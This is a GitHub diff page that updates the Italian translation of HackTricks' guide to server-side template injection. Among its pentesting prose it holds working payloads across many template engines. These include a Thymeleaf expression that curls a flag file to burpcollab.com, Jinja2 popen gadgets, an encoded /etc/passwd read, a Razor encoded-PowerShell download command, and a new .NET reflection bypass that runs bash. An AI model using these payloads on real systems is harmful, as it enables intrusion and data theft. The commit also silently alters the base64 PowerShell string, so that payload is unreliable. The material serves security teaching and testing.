mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/ssti-server-side-template-injection/READ
This commit is contained in:
parent
6a5a1d10da
commit
c5421986da
@ -16,22 +16,22 @@ Ad esempio, un attaccante potrebbe creare una richiesta con un payload come ques
|
|||||||
```
|
```
|
||||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||||
```
|
```
|
||||||
Il payload `{{bad-stuff-here}}` è iniettato nel parametro `name`. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente guadagnando il controllo sul server.
|
Il payload `{{bad-stuff-here}}` è iniettato nel parametro `name`. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente ottenendo il controllo sul server.
|
||||||
|
|
||||||
Per prevenire vulnerabilità di iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
|
Per prevenire vulnerabilità da iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
|
||||||
|
|
||||||
### Rilevamento
|
### Rilevamento
|
||||||
|
|
||||||
Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono:
|
Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati normali rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono:
|
||||||
|
|
||||||
- Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template.
|
- Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template.
|
||||||
- Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
|
- Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati normali.
|
||||||
- **Contesto in chiaro**: Distinguere da XSS controllando se il server valuta le espressioni del template (ad es., `{{7*7}}`, `${7*7}`).
|
- **Contesto in chiaro**: Distinguere da XSS controllando se il server valuta le espressioni del template (ad es., `{{7*7}}`, `${7*7}`).
|
||||||
- **Contesto di codice**: Confermare la vulnerabilità alterando i parametri di input. Ad esempio, modificare `greeting` in `http://vulnerable-website.com/?greeting=data.username` per vedere se l'output del server è dinamico o fisso, come in `greeting=data.username}}hello` che restituisce il nome utente.
|
- **Contesto di codice**: Confermare la vulnerabilità alterando i parametri di input. Ad esempio, modificare `greeting` in `http://vulnerable-website.com/?greeting=data.username` per vedere se l'output del server è dinamico o fisso, come in `greeting=data.username}}hello` che restituisce il nome utente.
|
||||||
|
|
||||||
#### Fase di identificazione
|
#### Fase di identificazione
|
||||||
|
|
||||||
Identificare il motore del template comporta analizzare i messaggi di errore o testare manualmente vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.
|
Identificare il motore del template comporta analizzare i messaggi di errore o testare manualmente vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}` e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.
|
||||||
|
|
||||||
#### Identificazione tramite payload
|
#### Identificazione tramite payload
|
||||||
|
|
||||||
@ -60,13 +60,13 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
|||||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||||||
```
|
```
|
||||||
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
|
### [Tabella di Iniezione dei Template](https://github.com/Hackmanit/template-injection-table)
|
||||||
|
|
||||||
una tabella interattiva contenente i polyglots di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
|
una tabella interattiva contenente i polyglot di iniezione dei template più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
|
||||||
|
|
||||||
## Exploits
|
## Sfruttamenti
|
||||||
|
|
||||||
### Generic
|
### Generico
|
||||||
|
|
||||||
In questa **wordlist** puoi trovare **variabili definite** negli ambienti di alcuni dei motori menzionati di seguito:
|
In questa **wordlist** puoi trovare **variabili definite** negli ambienti di alcuni dei motori menzionati di seguito:
|
||||||
|
|
||||||
@ -75,7 +75,7 @@ In questa **wordlist** puoi trovare **variabili definite** negli ambienti di alc
|
|||||||
|
|
||||||
### Java
|
### Java
|
||||||
|
|
||||||
**Java - Basic injection**
|
**Java - Iniezione di base**
|
||||||
```java
|
```java
|
||||||
${7*7}
|
${7*7}
|
||||||
${{7*7}}
|
${{7*7}}
|
||||||
@ -155,7 +155,7 @@ $out.read()
|
|||||||
|
|
||||||
### Thymeleaf
|
### Thymeleaf
|
||||||
|
|
||||||
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per una potenziale esecuzione remota di codice, possono essere utilizzate espressioni come le seguenti:
|
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per l'esecuzione remota di codice potenziale, possono essere utilizzate espressioni come le seguenti:
|
||||||
|
|
||||||
- SpringEL:
|
- SpringEL:
|
||||||
|
|
||||||
@ -184,7 +184,7 @@ Considera il seguente frammento di codice, che potrebbe essere suscettibile a sf
|
|||||||
<a th:href="@{__${path}__}" th:title="${title}">
|
<a th:href="@{__${path}__}" th:title="${title}">
|
||||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||||
```
|
```
|
||||||
Questo indica che se il motore di template elabora questi input in modo improprio, potrebbe portare all'esecuzione di codice remoto accedendo a URL come:
|
Questo indica che se il motore di template elabora questi input in modo errato, potrebbe portare all'esecuzione di codice remoto accedendo a URL come:
|
||||||
```
|
```
|
||||||
http://localhost:8082/(7*7)
|
http://localhost:8082/(7*7)
|
||||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||||
@ -203,13 +203,13 @@ el-expression-language.md
|
|||||||
```
|
```
|
||||||
**Bypass filters**
|
**Bypass filters**
|
||||||
|
|
||||||
Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`.
|
È possibile utilizzare più espressioni variabili; se `${...}` non funziona, prova `#{...}`, `*{...}`, `@{...}` o `~{...}`.
|
||||||
|
|
||||||
- Leggi `/etc/passwd`
|
- Leggi `/etc/passwd`
|
||||||
```java
|
```java
|
||||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||||
```
|
```
|
||||||
- Script personalizzato per la generazione del payload
|
- Script personalizzato per la generazione di payload
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
|
|
||||||
@ -411,11 +411,11 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
|
|||||||
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
||||||
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
||||||
```
|
```
|
||||||
### Other Java
|
### Altro Java
|
||||||
|
|
||||||
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
|
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
- Maggiori informazioni su [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
- Maggiori informazioni in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
##
|
##
|
||||||
|
|
||||||
@ -668,8 +668,8 @@ URLencoded:
|
|||||||
|
|
||||||
| **Template** | **Descrizione** |
|
| **Template** | **Descrizione** |
|
||||||
| ------------ | --------------------------------------- |
|
| ------------ | --------------------------------------- |
|
||||||
| | Valuta e restituisce l'output |
|
| | Valuta e rende l'output |
|
||||||
| | Valuta e restituisce l'output HTML codificato |
|
| | Valuta e rende l'output HTML codificato |
|
||||||
| | Commento |
|
| | Commento |
|
||||||
| e | Consenti codice (disabilitato per impostazione predefinita) |
|
| e | Consenti codice (disabilitato per impostazione predefinita) |
|
||||||
|
|
||||||
@ -763,7 +763,7 @@ range.constructor(
|
|||||||
```
|
```
|
||||||
{ %x|env| }
|
{ %x|env| }
|
||||||
```
|
```
|
||||||
**Ulteriori informazioni**
|
**Maggiore informazione**
|
||||||
|
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||||
|
|
||||||
@ -812,9 +812,9 @@ Controlla la seguente pagina per imparare trucchi su **bypassare l'esecuzione di
|
|||||||
|
|
||||||
### Jinja2 (Python)
|
### Jinja2 (Python)
|
||||||
|
|
||||||
[Official website](http://jinja.pocoo.org)
|
[Sito ufficiale](http://jinja.pocoo.org)
|
||||||
|
|
||||||
> Jinja2 è un motore di template completo per Python. Ha supporto completo per unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.
|
> Jinja2 è un motore di template completo per Python. Ha pieno supporto per unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.
|
||||||
|
|
||||||
- `{{7*7}} = Errore`
|
- `{{7*7}} = Errore`
|
||||||
- `${7*7} = ${7*7}`
|
- `${7*7} = ${7*7}`
|
||||||
@ -867,7 +867,7 @@ Controlla la seguente pagina per imparare trucchi su **bypassare l'esecuzione di
|
|||||||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||||||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||||
```
|
```
|
||||||
**Ulteriori dettagli su come abusare di Jinja**:
|
**Maggiori dettagli su come abusare di Jinja**:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
jinja2-ssti.md
|
jinja2-ssti.md
|
||||||
@ -906,7 +906,7 @@ ${x}
|
|||||||
- `@(1+2)`
|
- `@(1+2)`
|
||||||
- `@( //C#Code )`
|
- `@( //C#Code )`
|
||||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcgcgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||||
|
|
||||||
Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avviare qualsiasi processo sul server e quindi creare un webshell. Puoi trovare un esempio di webapp vulnerabile in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avviare qualsiasi processo sul server e quindi creare un webshell. Puoi trovare un esempio di webapp vulnerabile in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||||
|
|
||||||
@ -928,19 +928,36 @@ Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avv
|
|||||||
|
|
||||||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||||
|
|
||||||
|
### .Net Bypass delle restrizioni
|
||||||
|
|
||||||
|
I meccanismi di riflessione .NET possono essere utilizzati per bypassare il blacklisting o classi non presenti nell'assembly. I DLL possono essere caricati a runtime con metodi e proprietà accessibili da oggetti di base.
|
||||||
|
|
||||||
|
I DLL possono essere caricati con:
|
||||||
|
|
||||||
|
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - dal filesystem.
|
||||||
|
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - direttamente dalla richiesta.
|
||||||
|
|
||||||
|
Esecuzione completa del comando:
|
||||||
|
```
|
||||||
|
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
|
||||||
|
```
|
||||||
|
**Ulteriori informazioni**
|
||||||
|
|
||||||
|
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
|
||||||
|
|
||||||
### Mojolicious (Perl)
|
### Mojolicious (Perl)
|
||||||
|
|
||||||
Anche se è Perl, utilizza tag come ERB in Ruby.
|
Anche se è Perl, utilizza tag come ERB in Ruby.
|
||||||
|
|
||||||
- `<%= 7*7 %> = 49`
|
- `<%= 7*7 %> = 49`
|
||||||
- `<%= foobar %> = Errore`
|
- `<%= foobar %> = Error`
|
||||||
```
|
```
|
||||||
<%= perl code %>
|
<%= perl code %>
|
||||||
<% perl code %>
|
<% perl code %>
|
||||||
```
|
```
|
||||||
### SSTI in GO
|
### SSTI in GO
|
||||||
|
|
||||||
Nel motore di template di Go, la conferma del suo utilizzo può essere effettuata con payload specifici:
|
Nel motore di template di Go, la conferma del suo utilizzo può essere fatta con payload specifici:
|
||||||
|
|
||||||
- `{{ . }}`: Rivela la struttura dei dati in input. Ad esempio, se viene passato un oggetto con un attributo `Password`, `{{ .Password }}` potrebbe esporlo.
|
- `{{ . }}`: Rivela la struttura dei dati in input. Ad esempio, se viene passato un oggetto con un attributo `Password`, `{{ .Password }}` potrebbe esporlo.
|
||||||
- `{{printf "%s" "ssti" }}`: Ci si aspetta che visualizzi la stringa "ssti".
|
- `{{printf "%s" "ssti" }}`: Ci si aspetta che visualizzi la stringa "ssti".
|
||||||
@ -994,7 +1011,7 @@ Se pensi possa essere utile, leggi:
|
|||||||
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
||||||
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
||||||
|
|
||||||
## Lista di Rilevamento Brute-Force
|
## Elenco di Rilevamento Brute-Force
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||||
|
Loading…
x
Reference in New Issue
Block a user